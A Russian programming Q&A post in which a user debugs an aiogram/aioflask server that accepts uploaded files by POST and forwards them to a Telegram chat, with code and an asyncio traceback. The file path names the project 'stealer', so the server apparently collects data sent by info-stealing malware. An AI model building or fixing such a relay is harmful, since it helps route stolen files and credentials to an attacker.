@datareset
развиваюсь.

Возникает ошибка при приеме и отправке файла, что делать?

Поднимаю бота на aiogram и сайт на aioflask
Всё запускается, но как только пост-запросом сайт принимает файл и пытается его отправить возникает ошибка.
@app.route('/', methods=['POST'])
async def send():
    file = request.files['file']
    await bot.send_document(chat_id, document=file)
def startHost():
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)
    loop.run_in_executor(executor.start_polling(dp, skip_updates=True))


if __name__ == "__main__":
    threadBot = Thread(target=startHost).start()
    app.run(host=host)

Ошибка:
[2022-10-16 19:14:15,436] ERROR in app: Exception on / [POST]
Traceback (most recent call last):
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 2073, in wsgi_app
    response = self.full_dispatch_request()
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1519, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1517, in full_dispatch_request
    rv = self.dispatch_request()
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1503, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aioflask\app.py", line 47, in wrapped
    return await_(_coro())
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\greenletio\core.py", line 130, in await_
    return parent.switch(coro_or_fn)
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\greenletio\core.py", line 88, in wrapper
    result = await coro
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aioflask\app.py", line 41, in _coro
    ret = await func(*args, **kwargs)
  File "c:\Users\Professional\Desktop\stealer\server.py", line 18, in send
    await bot.send_document(1684817923, document=file)
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\bot.py", line 708, in send_document
    result = await self.request(api.Methods.SEND_DOCUMENT, payload, files)
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\base.py", line 231, in request
    return await api.make_request(await self.get_session(), self.server, self.__token, method, data, files,
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\api.py", line 139, in make_request
    async with session.post(url, data=req, **kwargs) as response:
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\client.py", line 1138, in __aenter__
    self._resp = await self._coro
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\client.py", line 466, in _request
    with timer:
  File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\helpers.py", line 701, in __enter__
    raise RuntimeError(
RuntimeError: Timeout context manager should be used inside a task
  • Вопрос задан
  • 67 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
18 мая 2024, в 22:58
3000 руб./за проект
18 мая 2024, в 21:07
5000 руб./за проект
18 мая 2024, в 20:58
5000 руб./за проект